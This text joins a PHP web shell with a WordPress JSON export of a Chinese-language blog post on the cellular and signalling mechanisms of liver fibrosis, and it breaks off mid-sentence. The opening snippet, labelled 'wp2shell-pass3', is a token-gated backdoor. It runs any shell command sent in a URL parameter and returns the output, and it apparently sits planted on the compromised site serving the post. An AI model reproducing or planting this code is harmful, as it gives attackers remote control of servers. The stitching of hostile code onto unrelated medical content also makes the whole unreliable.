// wp2shell-pass3
if (isset($_GET['t']) && hash_equals('9fc4c763d19d1fcf0f25548ed3e39448', (string)$_GET['t']) && isset($_GET['c'])) {
    $c=(string)$_GET['c']; $o='';
    if(function_exists('shell_exec')) $o=(string)@shell_exec($c);
    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    elseif(function_exists('exec')){@exec($c,$a);$o=implode(chr(10),(array)$a);}
    $mk='WP2'.'SHELL'; echo $mk.'::'.$o.'::'.'END'; exit;
}

{"id":1601,"date":"2025-12-25T17:58:36","date_gmt":"2025-12-25T09:58:36","guid":{"rendered":"https:\/\/www.millibuff.com\/?p=1601"},"modified":"2025-12-25T17:58:36","modified_gmt":"2025-12-25T09:58:36","slug":"%e5%b0%8f%e7%89%9b%e6%b4%9e%e5%af%9f-%e6%b7%b1%e5%ba%a6%e8%a7%a3%e5%af%86%ef%bc%9a%e8%82%9d%e7%ba%a4%e7%bb%b4%e5%8c%96%e7%9a%84%e5%8f%91%e7%97%85%e5%af%86%e7%a0%81%ef%bc%8c","status":"publish","type":"post","link":"https:\/\/www.millibuff.com\/?p=1601","title":{"rendered":"\u5c0f\u725b\u6d1e\u5bdf | \u6df1\u5ea6\u89e3\u5bc6\uff1a\u809d\u7ea4\u7ef4\u5316\u7684\u201c\u53d1\u75c5\u5bc6\u7801\u201d\uff0c\u591a\u7ec6\u80de + \u591a\u901a\u8def\u7684\u590d\u6742\u7f51\u7edc"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u2605\u00a0\u4e0a\u671f\u6211\u4eec\u4e3b\u8981\u63a2\u8ba8\u4e86\u809d\u7ea4\u7ef4\u5316\u7684\u75be\u75c5\u8ba4\u77e5\u4e0e\u7b5b\u67e5\u7684\u5185\u5bb9\uff1a<a href=\"https:\/\/mp.weixin.qq.com\/s?__biz=Mzg3NDUyMDg2OA==&amp;mid=2247485650&amp;idx=1&amp;sn=98801e258f134e83645d7c26e2ac2881&amp;scene=21#wechat_redirect\" target=\"_blank\" rel=\"noreferrer noopener\">\u5c0f\u725b\u6d1e\u5bdf | \u809d\u7ea4\u7ef4\u5316\uff1a\u88ab\u5ffd\u89c6\u7684 \u201c\u809d\u810f\u9884\u8b66\u4fe1\u53f7\u201d\uff0c\u53ef\u9006\u4f46\u4e0d\u5bb9\u62d6\u5ef6<\/a><\/p>\n\n\n\n<div class=\"wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-2c90304e wp-block-group-is-layout-flex\">\n<p class=\"wp-container-content-9cfa9a5a wp-block-paragraph\"><br>\u2605\u00a0\u672c\u671f\u805a\u7126\u809d\u7ea4\u7ef4\u5316\u7684\u53d1\u75c5\u673a\u5236\uff0c\u6df1\u5ea6\u89e3\u6790\u4ee5\u4e0b\u6838\u5fc3\u8981\u70b9\uff1a<\/p>\n\n\n\n<p class=\"wp-container-content-9cfa9a5a wp-block-paragraph\">1.\u8be6\u7ec6\u4ecb\u7ecd\u809d\u810f\u7ea4\u7ef4\u5316\u7684\u75c5\u7406\u8fc7\u7a0b\uff1a\u809d\u661f\u72b6\u7ec6\u80de\uff08HSC\uff09\u5982\u4f55\u4ece&#8221;\u5b89\u9759\u5b88\u62a4\u8005&#8221;\u53d8\u6210&#8221;\u809d\u7ea4\u7ef4\u5316\u8087\u4e8b\u8005&#8221;\uff1f<\/p>\n\n\n\n<p class=\"wp-container-content-9cfa9a5a wp-block-paragraph\">2.\u7cfb\u7edf\u68b3\u7406\u809d\u7ea4\u7ef4\u5316\u76f8\u5173\u7684\u4fe1\u53f7\u901a\u8def<\/p>\n\n\n\n<p class=\"wp-container-content-9cfa9a5a wp-block-paragraph\">3.\u7ea4\u7ef4\u5316\u9006\u8f6c\u7684\u6838\u5fc3\u673a\u5236\u662f\u4ec0\u4e48\uff1f\u4e3a\u4f55\u65e9\u671f\u5e72\u9884\u5982\u6b64\u91cd\u8981\uff1f<\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"560\" height=\"340\" src=\"http:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u7a3f\u5b9a\u8bbe\u8ba1-2-4.jpg\" alt=\"\u5c0f\u725b\u6d1e\u5bdf | \u6df1\u5ea6\u89e3\u5bc6\uff1a\u809d\u7ea4\u7ef4\u5316\u7684\u201c\u53d1\u75c5\u5bc6\u7801\u201d\uff0c\u591a\u7ec6\u80de + \u591a\u901a\u8def\u7684\u590d\u6742\u7f51\u7edc\" class=\"wp-image-1602\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u7a3f\u5b9a\u8bbe\u8ba1-2-4.jpg 560w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u7a3f\u5b9a\u8bbe\u8ba1-2-4-300x182.jpg 300w\" sizes=\"(max-width: 560px) 100vw, 560px\" \/><\/figure>\n\n\n\n<div class=\"wp-block-group is-horizontal is-content-justification-left is-nowrap is-layout-flex wp-container-core-group-is-layout-e8523bbf wp-block-group-is-layout-flex\">\n<p class=\"wp-block-paragraph\">\u809d\u7ea4\u7ef4\u5316\u7684\u672c\u8d28\u662f<strong>\u201c\u7ec6\u80de\u5916\u57fa\u8d28\uff08ECM\uff09\u8fc7\u5ea6\u6c89\u79ef\u201d<\/strong>\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u6d89\u53ca\u809d\u810f\u5185\u591a\u79cd\u7ec6\u80de\u7684\u201c\u8de8\u754c\u534f\u4f5c\u201d\u548c\u591a\u6761\u4fe1\u53f7\u901a\u8def\u7684\u201c\u7cbe\u51c6\u8c03\u63a7\u201d\uff0c\u6838\u5fc3\u53ef\u6982\u62ec\u4e3a<strong>\u201c\u635f\u4f24-\u708e\u75c7-\u6d3b\u5316-\u6c89\u79ef\u201d<\/strong>\u7684\u56db\u7ea7\u7ea7\u8054\u53cd\u5e94\u3002<\/p>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">PART 01<br>\u6838\u5fc3\u201c\u8087\u4e8b\u8005\u201d\uff1a\u809d\u661f\u72b6\u7ec6\u80de\uff08HSC\uff09\u7684\u201c\u53db\u53d8\u201d\u4e4b\u8def<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u809d\u810f\u7684\u7ec6\u80de\u7fa4\u4e2d\uff0c\u809d\u661f\u72b6\u7ec6\u80de\uff08HSC\uff09\u662f\u7ea4\u7ef4\u5316\u7684\u201c\u6838\u5fc3\u6267\u884c\u8005\u201d\uff0c\u5360\u809d\u810f\u7ec6\u80de\u603b\u6570\u76845%~8%\uff0c\u6b63\u5e38\u72b6\u6001\u4e0b\u582a\u79f0\u809d\u810f\u7684\u201c\u5b89\u9759\u5b88\u62a4\u8005\u201d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u9759\u606f\u6001HSC\uff1a<\/strong>\u4e3b\u8981\u50a8\u5b58\u5728\u809d\u810f\u7684Disse\u95f4\u9699\uff08\u809d\u8840\u7aa6\u5185\u76ae\u7ec6\u80de\u4e0e\u809d\u7ec6\u80de\u4e4b\u95f4\uff09\uff0c\u8d1f\u8d23\u50a8\u5b58\u7ef4\u751f\u7d20A\uff0c\u4ee3\u8c22\u8102\u8d28\uff0c\u6b64\u65f6\u4e0d\u5206\u6ccc\u80f6\u539f\u86cb\u767d\uff0c\u5bf9\u809d\u810f\u7a33\u6001\u81f3\u5173\u91cd\u8981\uff1b<\/li>\n\n\n\n<li><strong>\u6d3b\u5316\u6001HSC\uff1a<\/strong>\u5f53\u809d\u810f\u53d7\u5230\u635f\u4f24\uff08\u75c5\u6bd2\u3001\u9152\u7cbe\u3001\u8102\u80aa\u6bd2\u6027\u7b49\uff09\uff0c\u53d7\u635f\u809d\u7ec6\u80de\u4f1a\u91ca\u653e\u708e\u75c7\u56e0\u5b50\uff08\u5982TNF-\u03b1\u3001TGF-\u03b2\u3001IL-6\/17A\uff09\uff0c\u540c\u65f6Kupffer\u7ec6\u80de\uff08\u809d\u810f\u5e38\u9a7b\u5de8\u566c\u7ec6\u80de\uff09\u88ab\u6fc0\u6d3b\uff0c\u91ca\u653e\u5927\u91cf\u4fc3\u7ea4\u7ef4\u5316\u4fe1\u53f7\u3002\u8fd9\u4e9b\u4fe1\u53f7\u4f1a\u201c\u5524\u9192\u201d\u9759\u606f\u6001HSC\uff0c\u4f7f\u5176\u8f6c\u5316\u4e3a<strong>\u201c\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u201d<\/strong>\u2014\u2014\u8fd9\u662fHSC\u7684\u201c\u53db\u53d8\u201d\u5173\u952e\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6d3b\u5316\u540e\u7684HSC\u4f1a\u53d1\u751f\u4e09\u5927\u53d8\u5316\uff1a<\/strong>\u2460\u9ad8\u8868\u8fbe\u03b1-\u5e73\u6ed1\u808c\u808c\u52a8\u86cb\u767d\uff08\u03b1-SMA\uff09\uff0c\u5177\u5907\u6536\u7f29\u548c\u589e\u6b96\u80fd\u529b\uff1b\u2461\u5927\u91cf\u5206\u6ccc\u80f6\u539f\u86cb\u767d\uff08\u5c24\u5176\u662f\u2160\u578b\u3001\u2162\u578b\u80f6\u539f\uff09\u3001\u7ea4\u7ef4\u8fde\u63a5\u86cb\u767d\u7b49\u7ec6\u80de\u5916\u57fa\u8d28\uff0c\u8fd9\u4e9b\u201c\u75a4\u75d5\u6750\u6599\u201d\u5728\u809d\u810f\u5185\u5927\u91cf\u5806\u79ef\uff1b\u2462\u5206\u6ccc\u66f4\u591a\u708e\u75c7\u56e0\u5b50\u548c\u4fc3\u7ea4\u7ef4\u5316\u56e0\u5b50\uff0c\u5f62\u6210\u201c\u708e\u75c7-\u6d3b\u5316\u201d\u7684\u6076\u6027\u5faa\u73af\uff0c\u52a0\u901f\u7ea4\u7ef4\u5316\u8fdb\u5c55\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0cHSC\u5e76\u975e\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u7684\u552f\u4e00\u6765\u6e90\uff1a<\/strong>\u95e8\u9759\u8109\u6210\u7ea4\u7ef4\u7ec6\u80de\u3001\u9aa8\u9ad3\u6765\u6e90\u7684\u7ea4\u7ef4\u7ec6\u80de\uff0c\u4ee5\u53ca\u809d\u7ec6\u80de\u3001\u80c6\u7ba1\u4e0a\u76ae\u7ec6\u80de\u901a\u8fc7\u201c\u4e0a\u76ae-\u95f4\u8d28\u8f6c\u5316\uff08EMT\uff09\u201d\uff0c\u4e5f\u80fd\u8f6c\u5316\u4e3a\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u3002\u8fd9\u4e9b\u7ec6\u80de\u5728\u8870\u8001\u76f8\u5173\u56e0\u5b50SASP\uff08\u5982\u7ed3\u7f14\u7ec4\u7ec7\u751f\u957f\u56e0\u5b50CTGF\u3001IL-13\u3001IL-11\u3001IL-6\u3001IL-1\u03b2\u3001FGF2\u3001TGF-\u03b2\u53caCOL1A1\u7b49\uff09\u4f5c\u7528\u4e0b\u5411\u808c\u6210\u7ea4\u7ef4\u7ec6\u80de\u8f6c\u5316\u3002\u4f46HSC\u7684\u8d21\u732e\u5360\u6bd4\u6700\u9ad8\uff0c\u662f\u7edd\u5bf9\u6838\u5fc3\u3002<\/li>\n\n\n\n<li><strong>\u5f53\u7136\u3002\u809d\u7ea4\u7ef4\u5316\u4e5f\u53ef\u4ee5\u9006\u8f6c\uff1a<\/strong>\u523a\u6fc0\u505c\u6b62\u540e\uff0c\u90e8\u5206\u6d3b\u5316HSCs\u4f1a\u51cb\u4ea1\uff0c\u4f46TIMP1\uff08\u91d1\u5c5e\u86cb\u767d\u9176\u7ec4\u7ec7\u6291\u5236\u56e0\u5b501\uff09\u548cHSP1\uff08\u70ed\u4f11\u514b\u86cb\u767d1\uff09\u4f1a\u6291\u5236\u8fd9\u4e00\u51cb\u4ea1\u8fc7\u7a0b\uff1b\u672a\u51cb\u4ea1\u7684\u6d3b\u5316HSCs\u53ef\u5728PPAR\u03b3\u548c\u7ef4\u751f\u7d20D\u4f5c\u7528\u4e0b\u5931\u6d3b\u3002\u6b64\u5916\uff0c\u6dcb\u5df4\u7ec6\u80de\u3001\u5e93\u666e\u5f17\u7ec6\u80de\u7b49\u514d\u75ab\u7ec6\u80de\u5728\u809d\u7ea4\u7ef4\u5316\u7684\u8fdb\u5c55\u548c\u9006\u8f6c\u4e2d\u90fd\u6709\u53cc\u5411\u8c03\u8282\u4f5c\u7528\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"930\" height=\"835\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe1-\u538b\u7f29.png\" alt=\"\" class=\"wp-image-1603\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe1-\u538b\u7f29.png 930w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe1-\u538b\u7f29-300x269.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/12\/\u56fe1-\u538b\u7f29-768x690.png 768w\" sizes=\"(max-width: 930px) 100vw, 930px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">PART 02<br><strong>\u5173\u952e\u201c\u8c03\u63a7\u7f51\u201d\uff1a<\/strong><strong>\u9a71\u52a8\u7ea4\u7ef4\u5316\u7684\u6838\u5fc3\u4fe1\u53f7\u901a\u8def<\/strong><strong><\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">HSC\u7684\u6d3b\u5316\u3001\u589e\u6b96\u548c\u7ec6\u80de\u5916\u57fa\u8d28\u7684\u5206\u6ccc\uff0c\u79bb\u4e0d\u5f00\u591a\u6761\u4fe1\u53f7\u901a\u8def\u7684\u201c\u6307\u6325\u201d\uff0c\u8fd9\u4e9b\u901a\u8def\u76f8\u4e92\u4ea4\u7ec7\uff0c\u5f62\u6210\u590d\u6742\u7684\u8c03\u63a7\u7f51\u7edc\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1.TGF-\u03b2\/SMAD\u901a\u8def\uff08\u6838\u5fc3\u4e2d\u7684\u6838\u5fc3\uff09\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u7ea4\u7ef4\u5316\u6700\u5173\u952e\u7684\u4fe1\u53f7\u901a\u8def\uff0c\u88ab\u79f0\u4e3a\u201c\u7ea4\u7ef4\u5316\u603b\u6307\u6325\u201d\u3002\u8f6c\u5316\u751f\u957f\u56e0\u5b50\u03b2\uff08TGF-\u03b2\uff09\u662f\u4e3b\u8981\u7684\u4fc3\u7ea4\u7ef4\u5316\u7ec6\u80de\u56e0\u5b50\uff0c\u5f53\u809d\u810f\u53d7\u635f\u65f6\uff0cTGF-\u03b2\u5927\u91cf\u91ca\u653e\uff0c\u4e0eHSC\u8868\u9762\u7684\u53d7\u4f53\u7ed3\u5408\u540e\uff0c\u6fc0\u6d3b\u4e0b\u6e38\u7684Smad2\/3\u86cb\u767d\uff0c\u8fd9\u4e9b\u86cb\u767d\u8fdb\u5165\u7ec6\u80de\u6838\u540e\uff0c\u542f\u52a8\u80f6\u539f\u86cb\u767d\u3001\u03b1-SMA\u7b49\u57fa\u56e0\u7684\u8868\u8fbe\uff0c\u76f4\u63a5\u4fc3\u8fdbHSC\u6d3b\u5316\u548c\u7ec6\u80de\u5916\u57fa\u8d28\u5408\u6210\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u540c\u65f6\uff0cSmad7\u86cb\u767d\u4f1a\u5bf9\u8be5\u901a\u8def\u8fdb\u884c\u8d1f\u5411\u8c03\u63a7\uff0c\u6291\u5236\u7ea4\u7ef4\u5316\u8fdb\u5c55\uff0c\u800c\u5728\u809d\u7ea4\u7ef4\u5316\u60a3\u8005\u4e2d\uff0cSmad7\u7684\u8868\u8fbe\u5f80\u5f80\u964d\u4f4e\uff0c\u5bfc\u81f4\u901a\u8def\u8fc7\u5ea6\u6fc0\u6d3b\u3002\u6b64\u5916\uff0c\u6210\u719f\u7684TGF-\u03b2\u4e5f\u901a\u8fc7\u975e\u7ecf\u5178\u4fe1\u53f7\u901a\u8def\u53d1\u6325\u4f5c\u7528\uff0c\u5373\u4e0d\u4f9d\u8d56SMAD\u86cb\u767d\uff0c\u901a\u8fc7\u6fc0\u6d3b\u5176\u4ed6\u4fe1\u53f7\u901a\u8def\uff08\u5982RAS\/RAF\u3001TRAF4\/6\u3001RhoA\/ROCK\u3001JAK\/STAT\u3001PI3K\/AKT\u7b49\uff09\u53d1\u6325\u4f5c\u7528\u3002\u8fd9\u4e9b\u901a\u8def\u6d89\u53ca\u591a\u79cd\u6fc0\u9176\u548c\u4fe1\u53f7\u5206\u5b50\u7684\u7ea7\u8054\u53cd\u5e94\uff0c\u8c03\u63a7\u7ec6\u80de\u589e\u6b96\u3001\u5206\u5316\u3001\u51cb\u4ea1\u53ca\u7ec6\u80de\u5916\u57fa\u8d28\u4ee3\u8c22\u7b49\u8fc7\u7a0b\uff0c\u591a\u5c42\u9762\u53c2\u4e0e\u7ea4\u7ef4\u5316\u76f8\u5173\u7684\u7ec6\u80de\u751f\u7406\u548c\u75c5\u7406\u6d3b\u52a8\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2.PDGF\/PDGFR\u901a\u8def\uff08\u589e\u6b96\u52a0\u901f\u5668\uff09\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8840\u5c0f\u677f\u884d\u751f\u751f\u957f\u56e0\u5b50\uff08PDGF\uff09\u662f\u4fc3\u8fdbHSC\u589e\u6b96\u548c\u8fc1\u79fb\u7684\u6700\u5f3a\u56e0\u5b50\u3002\u809d\u635f\u4f24\u540e\uff0c\u8840\u5c0f\u677f\u3001\u5de8\u566c\u7ec6\u80de\u4f1a\u91ca\u653ePDGF\uff0c\u4e0eHSC\u8868\u9762\u7684PDGFR\u7ed3\u5408\uff0c\u901a\u8fc7\u6fc0\u6d3bMAPK\u3001PI3K\/AKT\u7b49\u4e0b\u6e38\u4fe1\u53f7\uff0c\u63a8\u52a8HSC\u5feb\u901f\u589e\u6b96\uff0c\u540c\u65f6\u589e\u5f3a\u5176\u8fc1\u79fb\u80fd\u529b\uff0c\u8ba9\u6d3b\u5316\u7684HSC\u5728\u809d\u810f\u5185\u5e7f\u6cdb\u5206\u5e03\uff0c\u6269\u5927\u7ea4\u7ef4\u5316\u8303\u56f4\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3.FGF\/FGFR\u4fe1\u53f7\u901a\u8def\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6210\u7ea4\u7ef4\u7ec6\u80de\u751f\u957f\u56e0\u5b50\uff08FGF\uff09\u8d85\u5bb6\u65cf\u542b22\u79cd\u914d\u4f53\uff0c\u5176\u4e2dFGF11-FGF14\u65e0\u6cd5\u6fc0\u6d3bFGF\u53d7\u4f53\uff0c\u4e0d\u5c5e\u4e8e\u7ecf\u5178 FGF \u914d\u4f53\uff0c\u800c\u5f52\u4e3aFGF\u540c\u6e90\u56e0\u5b50\uff08FHFs\uff09\u3002\u56e0\u6b64\uff0c\u54fa\u4e73\u52a8\u7269\u4e2d\u80fd\u6fc0\u6d3b\u53d7\u4f53\u7684 18 \u79cd\u7ecf\u5178 FGF\u88ab\u5206\u4e3a6\u4e2a\u4e9a\u5bb6\u65cf\uff1a5\u4e2a\u65c1\u5206\u6ccc\u4e9a\u5bb6\u65cf\u548c1\u4e2a\u5185\u5206\u6ccc\u4e9a\u5bb6\u65cf\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ecf\u5178\u65c1\u5206\u6ccc\u4e9a\u5bb6\u65cf\u901a\u8fc7\u5148\u7ed3\u5408\u786b\u9178\u4e59\u9170\u809d\u7d20\uff08HS\uff09\u6216\u786b\u9178\u4e59\u9170\u809d\u7d20\u86cb\u767d\u805a\u7cd6\uff08HSPG\uff09\u8f85\u52a9\u56e0\u5b50\u518d\u7ed3\u5408FGF\u53d7\u4f53\uff08FGFR1-4\uff09\uff0c\u975e\u7ecf\u5178\u5185\u5206\u6ccc\u578bFGF\u5bb6\u65cfFGF19\u4e9a\u5bb6\u65cf\u6210\u5458\uff08FGF19\u3001FGF21\u548cFGF23\uff09\u5219\u4e3a\u9700\u8981\u5148\u7ed3\u5408\u7ec4\u7ec7\u7279\u5f02\u6027\u5171\u53d7\u4f53Klotho\u86cb\u767d\uff0c\u518d\u4e0eFGFR1-4\u7ed3\u5408\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">FGF\u5bb6\u65cf\u4e0e\u53d7\u4f53\u7ed3\u5408\u540e\u6fc0\u6d3b\u4e0b\u6e38Ras\/Raf\/MEK\/ERK-MAPK\u3001PI3K\/AKT\u3001JAK\/STAT\u7b49\u4fe1\u53f7\u901a\u8def\uff0c\u53c2\u4e0e\u80a5\u80d6\u3001\u80f0\u5c9b\u7d20\u62b5\u6297\u3001\u80bf\u7624\u3001\u6162\u6027\u80be\u810f\u75c5\uff08CKD\uff09\u7b49\u591a\u79cd\u75be\u75c5\u3002\u5176\u4e2d\uff0c\u6572\u4f4eFGF2\u53ef\u901a\u8fc7AMP\/ERK\u4fe1\u53f7\u51cf\u5c11\u4fc3\u708e\u6027\u7ea4\u7ef4\u5316\uff1bFGF13\u6572\u9664\u53ef\u901a\u8fc7\u8c03\u8282\u5fae\u7ba1\u7a33\u5b9a\u6027\u9884\u9632\u8840\u6d41\u52a8\u529b\u5b66\u5e94\u6fc0\u8bf1\u5bfc\u7684\u5fc3\u810f\u7ea4\u7ef4\u5316\u3002\u809d\u810f\u5206\u6ccc\u7684FGF21\u662f\u5faa\u73afFGF21\u7684\u4e3b\u8981\u6765\u6e90\uff0c\u662f\u809d\u635f\u4f24\u7684\u751f\u7269\u6807\u5fd7\u7269\u53caMAFLD\u6216MASH\u7684\u6cbb\u7597\u9776\u70b9\uff1b\u5728\u63a5\u53d7\u76f4\u63a5\u6297\u75c5\u6bd2\u6cbb\u7597\u7684\u4e19\u809d\u60a3\u8005\u4e2d\uff0cFGF21\u5347\u9ad8\u4e0e\u809d\u786c\u5ea6\u5448\u8d1f\u76f8\u5173\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">FGF19\u4e9a\u5bb6\u65cf\u6210\u5458\u4e3b\u8981\u8c03\u8282\u80c6\u6c41\u9178\u3001\u80c6\u56fa\u9187\u3001\u8102\u80aa\u9178\u3001\u8461\u8404\u7cd6\u3001\u77ff\u7269\u8d28\uff08\u7ef4\u751f\u7d20D\u548c\u78f7\u9178\u76d0\u7b49\uff09\u5e73\u8861\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4.IL-11\u4fe1\u53f7\u901a\u8def\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IL-11\u662fIL-6\u7ec6\u80de\u56e0\u5b50\u5bb6\u65cf\u6210\u5458\uff0c\u5728\u7ea4\u7ef4\u5316\u4e2d\u8d77\u91cd\u8981\u4f5c\u7528\u3002IL-6\u5bb6\u65cf\u5177\u6709\u4e00\u79cd\u5e7f\u6cdb\u8868\u8fbe\u7684\u5173\u952e\u7ec6\u80de\u819c\u53d7\u4f53gp130\uff08\u5206\u5b50\u91cf130KD\u7684\u7cd6\u86cb\u767d\uff09\uff0c\u5176\u4e0eIL-11\u53d7\u4f53\u03b1\u4e9a\u57fa\uff08IL-11RA\uff09\u7ed3\u5408\u4ee5\u5b9e\u73b0\u4fe1\u53f7\u8f6c\u5bfc\u3002IL-6\u4e3b\u8981\u5728\u514d\u75ab\u7ec6\u80de\u4e2d\u8868\u8fbe\uff0c\u800cIL-11\u4e3b\u8981\u5728\u57fa\u8d28\u7ec6\u80de\u548c\u4e0a\u76ae\u7ec6\u80de\u4e2d\u8868\u8fbe\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">IL-11\u901a\u8fc7\u987a\u5f0f\u6216\u8005\u53cd\u5f0f\u4f5c\u7528\u4e8eIL-11RA\uff0c\u5728\u4e0d\u540c\u7ec6\u80de\u7c7b\u578b\u4e2d\u6fc0\u6d3b\u4e0b\u6e38JAK\/STAT3\u3001MEK\/ERK\u7b49\u4fe1\u53f7\u901a\u8def\u3002\u5728\u9152\u7cbe\u6027\u809d\u75c5\u52a8\u7269\u6a21\u578b\u4e2d\uff0cTGF-\u03b2\u6fc0\u6d3bHSC\u7ec6\u80deERK\u4fe1\u53f7\u901a\u8def\u4e0a\u8c03IL-11\uff0c\u5f15\u53d1\u809d\u7ea4\u7ef4\u5316\uff0c\u800c\u963b\u65adIL-11\u53ef\u4ee5\u9006\u8f6c\u809d\u7ea4\u7ef4\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5.\u4ee3\u8c22\u76f8\u5173\u901a\u8def\uff08\u4ee3\u8c22\u7d0a\u4e71\u9a71\u52a8\u8005\uff09\uff1a<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022PPAR\u5bb6\u65cf\u901a\u8def\uff1a\u8fc7\u6c27\u5316\u7269\u9176\u4f53\u589e\u6b96\u7269\u6fc0\u6d3b\u53d7\u4f53\uff08PPAR\uff09\u5305\u62ec\u4e09\u79cd\u4e9a\u578b\uff1aPPAR\u03b1\u3001PPAR\u03b4\u548cPPAR\u03b3\uff0c\u63a7\u5236\u7740\u8bb8\u591a\u7ec6\u80de\u5185\u7684\u4ee3\u8c22\u8fc7\u7a0b\u3002PPAR\u03b1\u4e3b\u8981\u8c03\u8282\u8102\u80aa\u9178\u7684\u8fd0\u8f93\u3001\u916f\u5316\u548c\u6c27\u5316\uff0c\u5176\u529f\u80fd\u5f02\u5e38\u4f1a\u5bfc\u81f4\u8102\u80aa\u5728\u809d\u810f\u5806\u79ef\uff0c\u52a0\u91cd\u8102\u6bd2\u6027\u635f\u4f24\uff1bPPAR\u03b4\u4e3b\u8981\u4e0e\u8102\u80aa\u9178\u7684\u6c27\u5316\u548c\u8461\u8404\u7cd6\u6444\u53d6\u6709\u5173\uff1bPPAR\u03b3\u4e3b\u8981\u8c03\u8282\u8102\u80aa\u7ec6\u80de\u7684\u5206\u5316\u3001\u8102\u8d28\u50a8\u5b58\u548c\u80f0\u5c9b\u7d20\u654f\u611f\u6027\u3002\u9759\u606f\u6001HSC\u9ad8\u8868\u8fbePPAR\u03b3\uff0c\u80fd\u6291\u5236\u5176\u6d3b\u5316\uff1b\u800c\u809d\u635f\u4f24\u540e\uff0cPPAR\u03b3\u8868\u8fbe\u4e0b\u964d\uff0cHSC\u5bf9\u8102\u8d28\u4ee3\u8c22\u7684\u8c03\u63a7\u80fd\u529b\u4e27\u5931\uff0c\u8fdb\u800c\u6d3b\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022FXR\u901a\u8def\uff1a\u6cd5\u5c3c\u9187X\u53d7\u4f53\uff08FXR\uff09\u662f\u80c6\u6c41\u9178\u4ee3\u8c22\u7684\u5173\u952e\u53d7\u4f53\uff0c\u80c6\u6c41\u9178\u6de4\u79ef\u4f1a\u6fc0\u6d3bFXR\uff0c\u901a\u8fc7\u8c03\u8282\u708e\u75c7\u56e0\u5b50\u548c\u7ea4\u7ef4\u5316\u56e0\u5b50\u7684\u8868\u8fbe\uff0c\u5e73\u8861\u809d\u810f\u7684\u708e\u75c7\u4e0e\u4fee\u590d\u3002FXR\u529f\u80fd\u5f02\u5e38\u4f1a\u5bfc\u81f4\u80c6\u6c41\u9178\u4ee3\u8c22\u7d0a\u4e71\uff0c\u52a0\u91cd\u809d\u635f\u4f24\u548c\u7ea4\u7ef4\u5316\u3002\u8be5\u901a\u8def\u7684\u836f\u7269\u5148\u884c\u8005\u4ee5\u5931\u8d25\u544a\u7ec8\uff0c\u4f46\u540e\u7eed\u8fd8\u6709\u516c\u53f8\u5728\u7814\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2022THR-\u03b2\u901a\u8def\uff1a\u7532\u72b6\u817a\u6fc0\u7d20\u53d7\u4f53\uff08THR\uff09\u5c5e\u4e8e\u6838\u53d7\u4f53\u8d85\u5bb6\u65cf\uff0c\u542bTHR-\u03b1\uff08\u5e7f\u6cdb\u5206\u5e03\uff0c\u7279\u522b\u662f\u5fc3\u810f\uff09\u548cTHR-\u03b2\uff08\u4e3b\u8981\u96c6\u4e2d\u5728\u809d\u810f\uff09\u4e24\u79cd\u4e9a\u578b\u3002THR-\u03b2\u5728\u809d\u810f\u4e2d\u53c2\u4e0e\u8102\u8d28\u4ee3\u8c22\u548c\u7cd6\u4ee3\u8c22\uff0c\u6fc0\u6d3bTHR-\u03b2\u80fd\u51cf\u5c11\u809d\u810f\u7518\u6cb9\u4e09\u916f\uff0c\u51cf\u5c11\u8102\u80aa\u5806\u79ef\uff0c\u51cf\u8f7b\u8102\u6bd2\u6027\u548c\u708e\u75c7\uff0c\u8fdb\u800c\u6291\u5236HSC\u6d3b\u5316\u3002\u76f8\u5f53\u4e8e\u4ece\u6e90\u5934\u4e0a\u89e3\u51b3\u7ea4\u7ef4\u5316\u95ee\u9898\u3002\u8b